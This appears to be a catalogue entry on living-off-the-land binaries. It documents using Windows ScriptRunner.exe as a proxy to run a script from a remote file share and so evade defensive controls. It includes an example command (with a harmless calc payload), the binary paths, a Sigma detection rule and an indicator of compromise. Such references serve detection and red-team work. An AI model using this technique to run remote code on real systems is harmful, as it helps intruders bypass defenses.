Execute binary through proxy binary to evade defensive counter measures
ScriptRunner.exe -appvscript "\\fileserver\calc.cmd"
Executes calc.cmd from remote server
Execute binary through proxy binary from external server to evade defensive counter measures
C:\Windows\System32\scriptrunner.exe, C:\Windows\SysWOW64\scriptrunner.exe
Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_servu_susp_child_process.yml, IOC: Scriptrunner.exe should not be in use unless App-v is deployed
Nick Tyrer (@nicktyrer)